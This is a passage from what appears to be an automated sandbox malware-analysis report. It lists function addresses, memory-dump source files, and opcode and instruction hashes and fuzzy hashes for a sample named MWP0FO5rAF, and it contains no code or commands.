                                                                  • Opcode Fuzzy Hash: 33f1abda2354155dcf9d9d87fbdc3941c50ffdbf1d412fc422ee5bec4cf6b0ee
                                                                  • Instruction Fuzzy Hash: DBE0123014D7D1AFC75347A4DDB019A7FB4EE4322970500EBD0C0CA073D5980855C762
                                                                  Function 014D1365 Relevance: .0, Instructions: 11COMMON
                                                                  Download Yara Rule
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.3796055165.00000000014D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014D0000, based on PE: false
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_14d0000_MWP0FO5rAF.jbxd
                                                                  Similarity
                                                                  • API ID:
                                                                  • String ID:
                                                                  • API String ID:
                                                                  • Opcode ID: 508d7cbf6ae97124746550f4f5b390e4ea0b88f8a4d6d6181d1518140940cbd0
                                                                  • Instruction ID: a47051d9e04d2a2bfa8799d37c3fa66466d9db54f28205287289d94e6e38d099
                                                                  • Opcode Fuzzy Hash: 508d7cbf6ae97124746550f4f5b390e4ea0b88f8a4d6d6181d1518140940cbd0
                                                                  • Instruction Fuzzy Hash: 5FD0C932A11111CBEF298F1A88181A9B3F0BB49305F4A84BAEA4667135D7309D4A8B95
                                                                  Function 014D0890 Relevance: .0, Instructions: 5COMMON
                                                                  Download Yara Rule
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.3796055165.00000000014D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014D0000, based on PE: false
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_14d0000_MWP0FO5rAF.jbxd
                                                                  Similarity
                                                                  • API ID:
                                                                  • String ID:
                                                                  • API String ID:
                                                                  • Opcode ID: 926cde608826a2af5aef2d88295853ac2c65097f30e3c6700a7ebcd0a800d048
                                                                  • Instruction ID: 4ba02c7144e4e0766d933c573308fc6038e3a5c03ba6e3dfe3c213ebcb3d174d
                                                                  • Opcode Fuzzy Hash: 926cde608826a2af5aef2d88295853ac2c65097f30e3c6700a7ebcd0a800d048
                                                                  • Instruction Fuzzy Hash: 4D90023144460CCF49502795750A555B75DD644519B800051B50D4D5165A9574104695